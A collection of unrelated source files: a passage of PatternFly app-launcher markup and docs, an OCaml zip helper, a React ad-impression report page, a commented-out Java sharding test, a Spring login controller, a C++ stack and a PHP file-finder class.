<li class="pf-v5-c-app-launcher__menu-wrapper pf-m-external">
<a
class="pf-v5-c-app-launcher__menu-item pf-m-link"
href="#"
target="_blank"
>
<span class="pf-v5-c-app-launcher__menu-item-icon">
<img src="/assets/images/pf-logo-small.svg" alt="PatternFly logo" />
</span>
Link 4
<span
class="pf-v5-c-app-launcher__menu-item-external-icon"
>
<i class="fas fa-external-link-alt" aria-hidden="true"></i>
</span>
<span class="pf-v5-screen-reader">(opens new window)</span>
</a>
<button
class="pf-v5-c-app-launcher__menu-item pf-m-action"
type="button"
aria-label="Favorite"
>
<i class="fas fa-star" aria-hidden="true"></i>
</button>
</li>
</ul>
</section>
</div>
</nav>
```
## Documentation
### Accessibility
| Attribute | Applied | Outcome |
| -- | -- | -- |
| `aria-label="Application launcher"` | `.pf-v5-c-app-launcher` | Gives the app launcher element an accessible name. **Required** |
| `aria-expanded="false"` | `.pf-v5-c-button` | Indicates that the menu is hidden. |
| `aria-expanded="true"` | `.pf-v5-c-button` | Indicates that the menu is visible. |
| `aria-label="Actions"` | `.pf-v5-c-button` | Provides an accessible name for the app launcher when an icon is used. **Required** |
| `hidden` | `.pf-v5-c-app-launcher__menu` | Indicates that the menu is hidden so that it isn't visible in the UI and isn't accessed by assistive technologies. |
| `disabled` | `.pf-v5-c-app-launcher__toggle` | Disables the app launcher toggle and removes it from keyboard focus. |
| `disabled` | `button.pf-v5-c-app-launcher__menu-item` | When the menu item uses a button element, indicates that it is unavailable and removes it from keyboard focus. |
| `aria-disabled="true"` | `a.pf-v5-c-app-launcher__menu-item` | When the menu item uses a link element, indicates that it is unavailable. |
| `tabindex="-1"` | `a.pf-v5-c-app-launcher__menu-item` | When the menu item uses a link element, removes it from keyboard focus. |
| `aria-hidden="true"` | `.pf-v5-c-app-launcher__menu-item-external-icon > *` | Hides the icon from assistive technologies. |
### Usage
| Class | Applied | Outcome |
| -- | -- | -- |
| `.pf-v5-c-app-launcher` | `<nav>` | Defines the parent wrapper of the app launcher. |
| `.pf-v5-c-app-launcher__toggle` | `<button>` | Defines the app launcher toggle. |
| `.pf-v5-c-app-launcher__menu` | `<ul>`, `<div>` | Defines the parent wrapper of the menu items. Use a `<div>` if your app launcher has groups. |
| `.pf-v5-c-app-launcher__menu-search` | `<div>` | Defines the wrapper for the search input. |
| `.pf-v5-c-app-launcher__group` | `<section>` | Defines a group of items. Required when there is more than one group. |
| `.pf-v5-c-app-launcher__group-title` | `<h1>` | Defines a title for a group of items. |
| `.pf-v5-c-app-launcher__menu-wrapper` | `<li>` | Defines a menu wrapper for use with multiple actionable items in a single item row. |
| `.pf-v5-c-app-launcher__menu-item` | `<a>`, `<button>` | Defines a menu item. |
| `.pf-v5-c-app-launcher__menu-item-icon` | `<span>` | Defines the wrapper for the menu item icon. |
| `.pf-v5-c-app-launcher__menu-item-external-icon` | `<span>` | Defines the wrapper for the external link icon that appears on hover/focus. Use with `.pf-m-external`. |
| `.pf-m-expanded` | `.pf-v5-c-app-launcher` | Modifies for the expanded state. |
| `.pf-m-top` | `.pf-v5-c-app-launcher` | Modifies to display the menu above the toggle. |
| `.pf-m-align-right` | `.pf-v5-c-app-launcher__menu` | Modifies to display the menu aligned to the right edge of the toggle. |
| `.pf-m-static` | `.pf-v5-c-app-launcher__menu` | Modifies to position the menu statically to support custom positioning. |
| `.pf-m-disabled` | `a.pf-v5-c-app-launcher__menu-item` | Modifies to display the menu item as disabled. |
| `.pf-m-external` | `.pf-v5-c-app-launcher__menu-item` | Modifies to display the menu item as having an external link icon on hover/focus. |
| `.pf-m-favorite` | `.pf-v5-c-app-launcher__menu-wrapper` | Modifies wrapper to indicate that the item row has been favorited. |
| `.pf-m-link` | `.pf-v5-c-app-launcher__menu-item.pf-m-wrapper > .pf-v5-c-app-launcher__menu-item` | Modifies item for link styles. |
| `.pf-m-action` | `.pf-v5-c-app-launcher__menu-item.pf-m-wrapper > .pf-v5-c-app-launcher__menu-item` | Modifies item to for action styles. |
| `.pf-m-active` | `.pf-v5-c-app-launcher__toggle` | Forces display of the active state of the toggle. |
|
(*---------------------------------------------------------------------------
Copyright (c) 2023 The zipc programmers. All rights reserved.
SPDX-License-Identifier: CC0-1.0
---------------------------------------------------------------------------*)
let read_file file =
let read file ic = try Ok (In_channel.input_all ic) with
| Sys_error e -> Error (Printf.sprintf "%s: %s" file e)
in
let binary_stdin () = In_channel.set_binary_mode In_channel.stdin true in
try match file with
| "-" -> binary_stdin (); read file In_channel.stdin
| file -> In_channel.with_open_bin file (read file)
with Sys_error e -> Error e
let write_file file s =
let write file s oc = try Ok (Out_channel.output_string oc s) with
| Sys_error e -> Error (Printf.sprintf "%s: %s" file e)
in
let binary_stdout () = Out_channel.(set_binary_mode stdout true) in
try match file with
| "-" -> binary_stdout (); write file s Out_channel.stdout
| file -> Out_channel.with_open_bin file (write file s)
with Sys_error e -> Error e
let unzip_path ~path ~archive =
let ( let* ) = Result.bind in
let file_error file msg = Printf.sprintf "%s: %s" file msg in
let* s = read_file archive in
Result.map_error (file_error archive) @@
let* z = Zipc.of_binary_string s in
Result.map_error (file_error path) @@
match Option.map Zipc.Member.kind (Zipc.find path z) with
| None -> Error "No such path"
| Some Zipc.Member.Dir -> Error "Is a directory"
| Some Zipc.Member.File file ->
let* data = Zipc.File.to_binary_string file in
Ok (Zipc.Fpath.sanitize path, data)
let zip_file ?(compress = true) ~file ~archive () =
let ( let* ) = Result.bind in
let file_error file msg = Printf.sprintf "%s: %s" file msg in
let* s = read_file file in
let* m =
Result.map_error (file_error file) @@
let path = Filename.basename file in
let* file = match compress with
| true -> Zipc.File.deflate_of_binary_string s
| false -> Zipc.File.stored_of_binary_string s
in
Zipc.Member.make ~path (Zipc.Member.File file)
in
let* s = Zipc.to_binary_string (Zipc.add m Zipc.empty) in
write_file archive s
|
import React, { useEffect, useState } from "react";
import Content from "../../layout/content/Content";
import Head from "../../layout/head/Head";
import { Nav, NavItem, NavLink, Card, TabContent, TabPane, Badge, Form, Col, FormGroup, Row } from "reactstrap";
import {
Button,
Block,
BlockBetween,
BlockDes,
BlockHead,
BlockHeadContent,
BlockTitle,
Icon,
DataTableHead,
DataTableBody,
DataTableRow,
DataTableItem,
PaginationComponent,
PreviewCard,
RSelect,
DataTable,
} from "../../components/Component";
import { Link } from "react-router-dom";
import { useForm } from "react-hook-form";
import { useHistory, useParams } from "react-router";
import { cmpImpDetail, impReportExcel } from "../../app/api";
import Loader from "../../app/Loader";
import classnames from "classnames";
import { toast, ToastContainer } from "react-toastify";
import exportFromJSON from "export-from-json";
import DatePicker from "react-datepicker";
import * as moment from "moment";
import jsPDF from "jspdf";
import "jspdf-autotable";
const CampaignImpressionReportDetail = () => {
const { campaign_id } = useParams();
const [loading, setLoading] = useState(false);
const history = useHistory();
const [data, setData] = useState("");
const [pgs, setPgs] = useState(0);
const [currentPage, setCurrentPage] = useState(1);
const [itemPerPage] = useState(20);
const [sm, updateSm] = useState(false);
const [totals, setTotals] = useState(null);
const getCmpDetail = async (cmp_id, pg = 1) => {
//console.log(rangeDate)
setLoading(true);
const res = await cmpImpDetail(cmp_id, pg, itemPerPage, rangeDate.start, rangeDate.end);
if (res.data) {
setData(res.data);
setPgs(res.row);
setTotals(res.total);
}
setLoading(false);
};
const [rangeDate, setRangeDate] = useState({
start: new Date(new Date().setDate(new Date().getDate() - 30)),
end: new Date(),
});
const onRangeChange = (dates) => {
const [start, end] = dates;
setRangeDate({ start: start, end: end });
};
const [dataimp, setDataImp] = useState([]);
const downloadPdf = async (campaign_id) => {
setLoading(true);
const res = await impReportExcel(campaign_id);
console.log(res);
if (res) {
setDataImp(res);
}
setLoading(false);
const data = res.data
const doc = new jsPDF()
doc.text("Impressions Details", 20, 10)
doc.autoTable({
theme: "grid",
columns: columns.map(col => ({ ...col, dataKey: col.field })),
body: data
})
doc.save('impressions.pdf')
}
const columns = [
{ title: "Date", field: "created_at" },
{ title: "Ip Address", field: "ip_addr" },
{ title: "Country", field: "country" },
{ title: "Amount", field: "amount", type: "currency" },
{ title: "Device OS", field: "device_os" },
{ title: "Device Type", field: "device_type" },
];
const onReportSearch = async () => {
getCmpDetail(campaign_id);
};
// Change Page
const paginate = (pageNumber) => {
setCurrentPage(pageNumber);
if (currentPage !== pageNumber) {
getCmpDetail(campaign_id, pageNumber);
}
};
const exportExcel = async (campaign_id) => {
setLoading(true);
const res = await impReportExcel(campaign_id);
if (res.data) {
setDataImp(res.data);
}
setLoading(false);
const data = res.data;
const fileName = 'impressionreport';
const exportType = exportFromJSON.types.xls
if(data) {
exportFromJSON({ data, fileName, exportType })
}
}
useEffect(() => {
getCmpDetail(campaign_id);
}, []);
return (
<React.Fragment>
<Head title="Campaign Impression Detail Report"></Head>
<Content>
<Loader visible={loading} />
<BlockHead size="sm">
<BlockBetween>
<BlockHeadContent>
<BlockTitle page> Campaign Impressions Detail Report</BlockTitle>
{/* <BlockDes className="text-soft">You have total {data.length} Campaign </BlockDes> */}
<BlockDes className="text-soft">Campaign Id : {atob(campaign_id)} </BlockDes>
{/* <BlockDes className="text-soft">Date : {atob(detail_date)} </BlockDes> */}
</BlockHeadContent>
<BlockHeadContent>
<div className="toggle-wrap nk-block-tools-toggle">
<div className="toggle-expand-content" style={{ display: sm ? "block" : "none" }}>
<ul className="nk-block-tools g-3">
<li>
<Button
color="light"
outline
className="bg-white d-none d-sm-inline-flex"
onClick={() => history.goBack()}
>
<Icon name="arrow-left"></Icon>
<span>Back</span>
</Button>
<a
href="#back"
onClick={(ev) => {
ev.preventDefault();
history.goBack();
}}
className="btn btn-icon btn-outline-light bg-white d-inline-flex d-sm-none"
>
<Icon name="arrow-left"></Icon>
</a>
</li>
<li>
<div style={{ position: "relative" }}>
<DatePicker
selected={rangeDate.start}
startDate={rangeDate.start}
onChange={onRangeChange}
endDate={rangeDate.end}
maxDate ={new Date()}
selectsRange
className="form-control date-picker"
dateFormat="dd-M-yyyy"
/>
</div>
</li>
<li className="nk-block-tools-opt">
<Button color="primary" onClick={onReportSearch}>
<Icon name="search"></Icon>
<span>Search</span>
</Button>
<Button
color="primary"
onClick={(ev) => {
ev.preventDefault();
exportExcel(campaign_id);
}}
// onClick={exportExcel}
>
<Icon name="download"></Icon>
<span>Excel</span>
</Button>
<Button
color="primary"
onClick={(ev) => {
ev.preventDefault();
downloadPdf(campaign_id);
}}
>
<Icon name="download"></Icon>
<span>PDF</span>
</Button>
</li>
</ul>
</div>
</div>
{/* <Button
color="light"
outline
className="bg-white d-none d-sm-inline-flex"
onClick={() => history.goBack()}
>
<Icon name="arrow-left"></Icon>
<span>Back</span>
</Button>
<a
href="#back"
onClick={(ev) => {
ev.preventDefault();
history.goBack();
}}
className="btn btn-icon btn-outline-light bg-white d-inline-flex d-sm-none"
>
<Icon name="arrow-left"></Icon>
</a> */}
{/*
<Button color="secondary" onClick={exportExcel}>
<Icon name="download"></Icon>
</Button> */}
</BlockHeadContent>
</BlockBetween>
</BlockHead>
<Block>
<DataTable className="card-stretch">
<DataTableBody>
<DataTableHead className="nk-tb-item nk-tb-head">
{/* <DataTableRow size="lg">
<span className="sub-text">Impression Id </span>
</DataTableRow> */}
<DataTableRow size="lg">
<span className="sub-text"> Created on </span>
</DataTableRow>
<DataTableRow size="lg">
<span className="sub-text"> Impressions </span>
</DataTableRow>
<DataTableRow size="lg">
<span className="sub-text"> Amount </span>
</DataTableRow>
<DataTableRow size="lg">
<span className="sub-text"> Advertiser </span>
</DataTableRow>
<DataTableRow size="lg">
<span className="sub-text"> Device Type </span>
</DataTableRow>
<DataTableRow size="lg">
<span className="sub-text"> Device Os </span>
</DataTableRow>
<DataTableRow size="lg">
<span className="sub-text"> Ad Type </span>
</DataTableRow>
<DataTableRow size="lg">
<span className="sub-text"> Ip </span>
</DataTableRow>
<DataTableRow size="lg">
<span className="sub-text"> Country </span>
</DataTableRow>
</DataTableHead>
{data.length > 0
? data.map((item) => {
return (
<DataTableItem key={item.id}>
{/* <DataTableRow>
<div className="user-info">
<span> {item.impression_id}</span>
</div>
</DataTableRow> */}
<DataTableRow size="lg" style={{ width: "5px !important" }}>
<span>{item.date}</span>
</DataTableRow>
<DataTableRow size="lg">
<span className="tb-product">
<span className="title">{item.impr_total}</span>
</span>
</DataTableRow>
<DataTableRow size="lg" style={{ width: "5px !important" }}>
<span className="tb-product">
<span className="title">${item.total}</span>
</span>
</DataTableRow>
<DataTableRow size="lg">
<span className="tb-product">
<span className="title">{item.advertiser_code}</span>
</span>
</DataTableRow>
<DataTableRow size="lg" style={{ width: "5px !important" }}>
<span>{item.device_type}</span>
</DataTableRow>
<DataTableRow size="lg" style={{ width: "5px !important" }}>
<span>{item.device_os}</span>
</DataTableRow>
<DataTableRow size="lg" style={{ width: "5px !important" }}>
<span className={`badge badge-dim badge-dark`}>
<span>{item.ad_type}</span>
</span>
</DataTableRow>
<DataTableRow size="lg" style={{ width: "5px !important" }}>
<span className="tb-product">
<span className="title">{item.ip_addr}</span>
</span>
</DataTableRow>
<DataTableRow size="lg" style={{ width: "5px !important" }}>
<span className={`badge badge-dim badge-dark`}>
<span>{item.country}</span>
</span>
</DataTableRow>
</DataTableItem>
);
})
: null}
{totals ? (
<DataTableItem key={0}>
<DataTableRow className="sm">
<span className="tb-amount">Total</span>
</DataTableRow>
<DataTableRow size="lg">
<span className="tb-amount">{totals.total_impression}</span>
</DataTableRow>
<DataTableRow className="lg">
<span className="tb-amount">${totals.total_amount}</span>
</DataTableRow>
{/* <DataTableRow size="lg" className="text-right">
<span className="tb-amount">0</span>
</DataTableRow> */}
</DataTableItem>
) : (
""
)}
</DataTableBody>
<div className="card-inner">
{data.length > 0 ? (
<PaginationComponent
itemPerPage={itemPerPage}
totalItems={pgs}
paginate={paginate}
currentPage={currentPage}
/>
) : (
<div className="text-center">
<span className="text-silent">No Detail found</span>
</div>
)}
</div>
</DataTable>
</Block>
<ToastContainer />
</Content>
</React.Fragment>
);
};
export default CampaignImpressionReportDetail;
|
//package com.ewp.examples.service.impl;
//
//import com.baomidou.mybatisplus.core.conditions.Wrapper;
//import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
//import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
//import com.ewp.core.common.util.LocalDateUtil;
//import com.ewp.examples.service.EwpExamplesServiceApplication;
//import com.ewp.examples.service.data.sharding.entity.TSectionBrowseRecordEntity;
//import com.ewp.examples.service.data.sharding.mapper.TSectionBrowseRecordMapper;
//import com.ewp.starter.databases.IdGeneratorUtil;
//import lombok.extern.slf4j.Slf4j;
//import org.junit.jupiter.api.Test;
//import org.junit.jupiter.api.extension.ExtendWith;
//import org.springframework.boot.test.context.SpringBootTest;
//import org.springframework.test.context.junit.jupiter.SpringExtension;
//
//import javax.annotation.Resource;
//import java.time.LocalDateTime;
//import java.util.Random;
//
///**
// * 3.3 日期分片(自定义分片)的示例
// */
//@Slf4j
//@ExtendWith(SpringExtension.class)
//@SpringBootTest(classes = EwpExamplesServiceApplication.class)
//class ShardingJdbcDateTest {
//
// @Resource
// private TSectionBrowseRecordMapper tSectionBrowseRecordMapper;
//
// /**
// * 时间分片-单表-等于查询-=
// */
// @Test
// void findByEqual() {
// Page<TSectionBrowseRecordEntity> page = new Page<>(1, 20);
// LambdaQueryWrapper<TSectionBrowseRecordEntity> queryWrapper = new LambdaQueryWrapper<>();
// queryWrapper.eq(TSectionBrowseRecordEntity::getCreatedTime, LocalDateUtil.strToLocalDateTime("2019-08-27 19:12:03"));
// Page<TSectionBrowseRecordEntity> tSectionBrowseRecordEntityPage = tSectionBrowseRecordMapper.selectPage(page, queryWrapper);
// tSectionBrowseRecordEntityPage.getRecords().forEach(System.out::println);
// }
//
// /**
// * 时间分片-单表-等于查询-IN
// */
// @Test
// void findByIn() {
// Page<TSectionBrowseRecordEntity> page = new Page<>(1, 20);
// LambdaQueryWrapper<TSectionBrowseRecordEntity> queryWrapper = new LambdaQueryWrapper<>();
// queryWrapper.in(TSectionBrowseRecordEntity::getCreatedTime,
// LocalDateUtil.strToLocalDateTime("2019-08-27 19:09:56"),
// LocalDateUtil.strToLocalDateTime("2019-08-27 19:24:21"),
// LocalDateUtil.strToLocalDateTime("2019-08-27 19:25:25")
// );
// Page<TSectionBrowseRecordEntity> tSectionBrowseRecordEntityPage = tSectionBrowseRecordMapper.selectPage(page, queryWrapper);
// tSectionBrowseRecordEntityPage.getRecords().forEach(System.out::println);
// }
//
// /**
// * 时间分片-单表-范围查询-包前 & 包后
// */
// @Test
// void searchByBetween() {
// Page<TSectionBrowseRecordEntity> page = new Page<>(1, 20);
// Wrapper<TSectionBrowseRecordEntity> wrapper = new LambdaQueryWrapper<TSectionBrowseRecordEntity>()
// // 查询的时候必须携带分片字段的 时间范围 或 值
// // 包前 & 包后
// .between(TSectionBrowseRecordEntity::getCreatedTime,
// LocalDateUtil.strToLocalDateTime("2019-08-01 00:00:00"),
// LocalDateUtil.strToLocalDateTime("2019-09-01 00:00:00"));
// Page<TSectionBrowseRecordEntity> tSectionBrowseRecordEntityPage = tSectionBrowseRecordMapper.selectPage(page, wrapper);
// tSectionBrowseRecordEntityPage.getRecords().forEach(System.out::println);
// }
//
// /**
// * 时间分片-单表-范围查询-包前 & 不包后,携带无效条件
// */
// @Test
// void searchByGtAndLt() {
// Page<TSectionBrowseRecordEntity> page = new Page<>(1, 20);
// Wrapper<TSectionBrowseRecordEntity> wrapper = new LambdaQueryWrapper<TSectionBrowseRecordEntity>()
// // 查询的时候必须携带分片字段的 时间范围 或 值
// // 包前 & 不包后,携带无效条件
// .ge(TSectionBrowseRecordEntity::getCreatedTime, LocalDateUtil.strToLocalDateTime("2019-08-01 00:00:00"))
// .ge(TSectionBrowseRecordEntity::getCreatedTime, LocalDateUtil.strToLocalDateTime("2019-09-01 00:00:00"))
// .lt(TSectionBrowseRecordEntity::getCreatedTime, LocalDateUtil.strToLocalDateTime("2019-10-01 00:00:00"));
// Page<TSectionBrowseRecordEntity> tSectionBrowseRecordEntityPage = tSectionBrowseRecordMapper.selectPage(page, wrapper);
// tSectionBrowseRecordEntityPage.getRecords().forEach(System.out::println);
// }
//
// /**
// * 时间分片-单表-insert
// */
// @Test
// void add() {
// TSectionBrowseRecordEntity entity = new TSectionBrowseRecordEntity();
// entity.setId(IdGeneratorUtil.nextId());
// entity.setCustomerId(207104926928867331L);
// entity.setCampDateId(211874424382816256L);
// entity.setCourseId(208989449174122496L);
// entity.setChapterId(208993993954164736L);
// entity.setSectionId(208994826154409984L);
// entity.setStayTime(1243L);
// entity.setOsName("单元测试");
// entity.setCreatedTime(LocalDateUtil.strToLocalDateTime("2019-08-27 19:09:56"));
// entity.setModifiedTime(LocalDateTime.now());
//
// tSectionBrowseRecordMapper.insert(entity);
// }
//
// /**
// * 时间分片-单表-update
// */
// @Test
// void update() {
// TSectionBrowseRecordEntity entity = new TSectionBrowseRecordEntity();
// entity.setOsName("单元测试:update:" + new Random().nextInt(100));
// Wrapper<TSectionBrowseRecordEntity> wrapper = new LambdaQueryWrapper<TSectionBrowseRecordEntity>()
// .between(TSectionBrowseRecordEntity::getCreatedTime,
// LocalDateUtil.strToLocalDateTime("2019-08-01 00:00:00"),
// LocalDateUtil.strToLocalDateTime("2019-08-31 23:59:59"))
// .like(TSectionBrowseRecordEntity::getOsName, "单元测试");
// tSectionBrowseRecordMapper.update(entity, wrapper);
// }
//
// /**
// * 时间分片-单表-delete
// */
// @Test
// void delete() {
// Wrapper<TSectionBrowseRecordEntity> wrapper = new LambdaQueryWrapper<TSectionBrowseRecordEntity>()
// .between(TSectionBrowseRecordEntity::getCreatedTime,
// LocalDateUtil.strToLocalDateTime("2019-08-01 00:00:00"),
// LocalDateUtil.strToLocalDateTime("2019-08-31 23:59:59"))
// .like(TSectionBrowseRecordEntity::getOsName, "单元测试");
// tSectionBrowseRecordMapper.delete(wrapper);
// }
//}
|
package com.sx.controller;
import com.sx.pojo.Admin;
import com.sx.pojo.Result;
import com.sx.service.IAdminService;
import com.sx.service.impl.AdminServiceImpl;
import com.sx.vo.AdminVo;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiModelProperty;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletRequest;
import java.security.Principal;
import java.util.Map;
@RestController
@Api(tags = "LoginController")
public class LoginController {
@Autowired
private IAdminService adminService;
@ApiModelProperty("登录")
@PostMapping("/login")
public Result login(@RequestBody AdminVo adminVo, HttpServletRequest request){
return adminService.login(adminVo, request);
}
@PostMapping("/test")
public Result test(@RequestBody String username){
System.out.println(username);
return Result.ok();
}
//获取用户信息
@ApiModelProperty("获取用户信息")
@GetMapping("/info")
public Result info(Principal principal ) {
// Principal principal = (Principal) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
String username = principal.getName();
Admin details = adminService.getInfo(username);
details.setPassword(null);
details.setRoles(adminService.getRoles(details.getId()));
return Result.ok().data("details",details);
}
//注销
@ApiModelProperty("注销")
@PostMapping("/logout")
public Result logout() {
return Result.ok();
}
}
|
#include <iostream>
#include <cstdlib>
using namespace std;
typedef struct Node {
int value;
Node* next;
} Node;
class Stack {
public:
Node* head;
Stack() {
this->head = NULL;
}
Node* createNode(int value) {
Node* node = (Node*) malloc(sizeof(Node));
node->next = NULL;
node->value = value;
return node;
}
int isEmpty() {
return this->head == NULL;
}
void Push(int value) {
Node* newNode = this->createNode(value);
newNode->next = this->head;
this->head = newNode;
}
int Pop() {
if (this->isEmpty()) {
cout << "Stack Underflow" << endl;
return -1;
}
int deletedValue = this->head->value;
Node* temp = this->head;
this->head = this->head->next;
free(temp);
return deletedValue;
}
int Peek() {
if (this->isEmpty()) {
cout << "Stack Empty" << endl;
return -1;
}
return this->head->value;
}
void Display() {
if (this->isEmpty()) {
cout << "Stack Empty" << endl;
return;
}
cout << this->head->value << " <- Top" << endl;
Node* node = this->head->next;
while (node) {
cout << node->value << endl;
node = node->next;
}
}
};
int main() {
Stack s;
s.Push(10);
s.Push(20);
s.Push(30);
s.Display();
cout << endl;
cout << s.Pop() << endl << endl;
cout << s.Pop() << endl << endl;
cout << s.Pop() << endl << endl;
s.Push(40);
s.Display();
cout << endl;
cout << s.Peek() << endl;
return 0;
}
|
<?php
/**
* File containing the {@see \AppUtils\FileHelper\FileFinder} class.
*
* @package Application Utils
* @subpackage FileHelper
* @see \AppUtils\FileHelper\FileFinder
*/
declare(strict_types = 1);
namespace AppUtils\FileHelper;
use AppUtils\FileHelper;
use AppUtils\FileHelper_Exception;
use AppUtils\Interfaces\OptionableInterface;
use AppUtils\Traits\OptionableTrait;
use DirectoryIterator;
use SplFileInfo;
/**
* File finder class used to fetch file lists from folders,
* with criteria matching. Offers many customization options
* on how to return the files, from absolute paths to file names
* without extensions or even class name maps.
*
* @package Application Utils
* @subpackage FileHelper
* @author Sebastian Mordziol <[email protected]>
*/
class FileFinder implements OptionableInterface
{
use OptionableTrait;
public const ERROR_PATH_DOES_NOT_EXIST = 44101;
public const PATH_MODE_ABSOLUTE = 'absolute';
public const PATH_MODE_RELATIVE = 'relative';
public const PATH_MODE_STRIP = 'strip';
public const OPTION_INCLUDE_EXTENSIONS = 'include-extensions';
public const OPTION_EXCLUDE_EXTENSIONS = 'exclude-extensions';
public const OPTION_PATHMODE = 'pathmode';
protected FolderInfo $path;
/**
* @var string[]
*/
protected array $found = array();
/**
* The path must exist when the class is instantiated: its
* real path will be determined to work with.
*
* @param string|PathInfoInterface|SplFileInfo $path The absolute path to the target folder.
*
* @throws FileHelper_Exception
* @see FileHelper::ERROR_PATH_IS_NOT_A_FOLDER
*/
public function __construct($path)
{
$this->path = AbstractPathInfo::resolveType($path)->requireExists()->requireIsFolder();
}
public function getDefaultOptions() : array
{
return array(
'recursive' => false,
'strip-extensions' => false,
self::OPTION_INCLUDE_EXTENSIONS => array(),
self::OPTION_EXCLUDE_EXTENSIONS => array(),
self::OPTION_PATHMODE => self::PATH_MODE_ABSOLUTE,
'slash-replacement' => null
);
}
/**
* Enables extension stripping, to return file names without extension.
*
* @return FileFinder
*/
public function stripExtensions() : FileFinder
{
return $this->setOption('strip-extensions', true);
}
/**
* Enables recursion into sub-folders.
*
* @param bool $enabled
* @return FileFinder
*/
public function makeRecursive(bool $enabled=true) : FileFinder
{
return $this->setOption('recursive', $enabled);
}
/**
* Retrieves all extensions that were added to
* the list of included extensions.
*
* @return string[]
*/
public function getIncludeExtensions() : array
{
return $this->getArrayOption(self::OPTION_INCLUDE_EXTENSIONS);
}
/**
* Includes a single extension in the file search: only
* files with this extension will be used in the results.
*
* NOTE: Included extensions take precedence before excluded
* extensions. If any excluded extensions are specified, they
* will be ignored.
*
* @param string $extension Extension name, without dot (`php` for example).
* @return FileFinder
* @see FileFinder::includeExtensions()
*/
public function includeExtension(string $extension) : FileFinder
{
return $this->includeExtensions(array($extension));
}
/**
* Includes several extensions in the file search: only
* files with these extensions wil be used in the results.
*
* NOTE: Included extensions take precedence before excluded
* extensions. If any excluded extensions are specified, they
* will be ignored.
*
* @param string[] $extensions Extension names, without dot (`php` for example).
* @return FileFinder
* @see FileFinder::includeExtension()
*/
public function includeExtensions(array $extensions) : FileFinder
{
$items = $this->getIncludeExtensions();
$items = array_merge($items, $extensions);
$items = array_unique($items);
$this->setOption(self::OPTION_INCLUDE_EXTENSIONS, $items);
return $this;
}
/**
* Retrieves a list of all extensions currently set as
* excluded from the search.
*
* @return string[]
*/
public function getExcludeExtensions() : array
{
return $this->getArrayOption(self::OPTION_EXCLUDE_EXTENSIONS);
}
/**
* Excludes a single extension from the search.
*
* @param string $extension Extension name, without dot (`php` for example).
* @return FileFinder
* @see FileFinder::excludeExtensions()
*/
public function excludeExtension(string $extension) : FileFinder
{
return $this->excludeExtensions(array($extension));
}
/**
* Add several extensions to the list of extensions to
* exclude from the file search.
*
* @param string[] $extensions Extension names, without dot (`php` for example).
* @return FileFinder
* @see FileFinder::excludeExtension()
*/
public function excludeExtensions(array $extensions) : FileFinder
{
$items = $this->getExcludeExtensions();
$items = array_merge($items, $extensions);
$items = array_unique($items);
$this->setOption(self::OPTION_EXCLUDE_EXTENSIONS, $items);
return $this;
}
/**
* In this mode, the entire path to the file will be stripped,
* leaving only the file name in the files list.
*
* @return FileFinder
*/
public function setPathmodeStrip() : FileFinder
{
return $this->setPathmode(self::PATH_MODE_STRIP);
}
/**
* In this mode, only the path relative to the source folder
* will be included in the files list.
*
* @return FileFinder
*/
public function setPathmodeRelative() : FileFinder
{
return $this->setPathmode(self::PATH_MODE_RELATIVE);
}
/**
* In this mode, the full, absolute paths to the files will
* be included in the files list.
*
* @return FileFinder
*/
public function setPathmodeAbsolute() : FileFinder
{
return $this->setPathmode(self::PATH_MODE_ABSOLUTE);
}
/**
* This sets a character or string to replace the slashes
* in the paths with.
*
* This is used for example in the `getPHPClassNames()`
* method, to return files from subfolders as class names
* using the "_" character:
*
* Subfolder/To/File.php => Subfolder_To_File.php
*
* @param string $character
* @return FileFinder
*/
public function setSlashReplacement(string $character) : FileFinder
{
return $this->setOption('slash-replacement', $character);
}
/**
* Sets how paths should be handled in the file names
* that are returned.
*
* @param string $mode
* @return FileFinder
*
* @see FileFinder::PATH_MODE_ABSOLUTE
* @see FileFinder::PATH_MODE_RELATIVE
* @see FileFinder::PATH_MODE_STRIP
*/
protected function setPathmode(string $mode) : FileFinder
{
return $this->setOption(self::OPTION_PATHMODE, $mode);
}
/**
* Retrieves a list of all matching file names/paths,
* depending on the selected options.
*
* @return string[]
*/
public function getAll() : array
{
$this->find((string)$this->path, true);
return $this->found;
}
/**
* Retrieves only PHP files. Can be combined with other
* options like enabling recursion into sub-folders.
*
* @return string[]
*/
public function getPHPFiles() : array
{
$this->includeExtensions(array('php'));
return $this->getAll();
}
/**
* Generates PHP class names from file paths: it replaces
* slashes with underscores, and removes file extensions.
*
* @return string[] An array of PHP file names without extension.
*/
public function getPHPClassNames() : array
{
$this->includeExtensions(array('php'));
$this->stripExtensions();
$this->setSlashReplacement('_');
$this->setPathmodeRelative();
return $this->getAll();
}
protected function find(string $path, bool $isRoot=false) : void
{
if($isRoot) {
$this->found = array();
}
$recursive = $this->getBoolOption('recursive');
$d = new DirectoryIterator($path);
foreach($d as $item)
{
$pathname = $item->getPathname();
if($item->isDir())
{
if($recursive && !$item->isDot()) {
$this->find($pathname);
}
continue;
}
$file = $this->filterFile($pathname);
if($file !== null)
{
$this->found[] = $file;
}
}
}
protected function filterFile(string $path) : ?string
{
$path = FileHelper::normalizePath($path);
$extension = FileHelper::getExtension($path);
if(!$this->filterExclusion($extension)) {
return null;
}
$path = $this->filterPath($path);
if($this->getOption('strip-extensions') === true)
{
$path = str_replace('.'.$extension, '', $path);
}
if($path === '') {
return null;
}
$replace = $this->getOption('slash-replacement');
if(!empty($replace)) {
$path = str_replace('/', $replace, $path);
}
return $path;
}
/**
* Checks whether the specified extension is allowed
* with the current settings.
*
* @param string $extension
* @return bool
*/
protected function filterExclusion(string $extension) : bool
{
$include = $this->getOption(self::OPTION_INCLUDE_EXTENSIONS);
$exclude = $this->getOption(self::OPTION_EXCLUDE_EXTENSIONS);
if(!empty($include))
{
if(!in_array($extension, $include, true)) {
return false;
}
}
else if(!empty($exclude) && in_array($extension, $exclude, true))
{
return false;
}
return true;
}
/**
* Adjusts the path according to the selected path mode.
*
* @param string $path
* @return string
*/
protected function filterPath(string $path) : string
{
switch($this->getStringOption(self::OPTION_PATHMODE))
{
case self::PATH_MODE_STRIP:
return basename($path);
case self::PATH_MODE_RELATIVE:
$path = str_replace((string)$this->path, '', $path);
return ltrim($path, '/');
}
return $path;
}
}
|
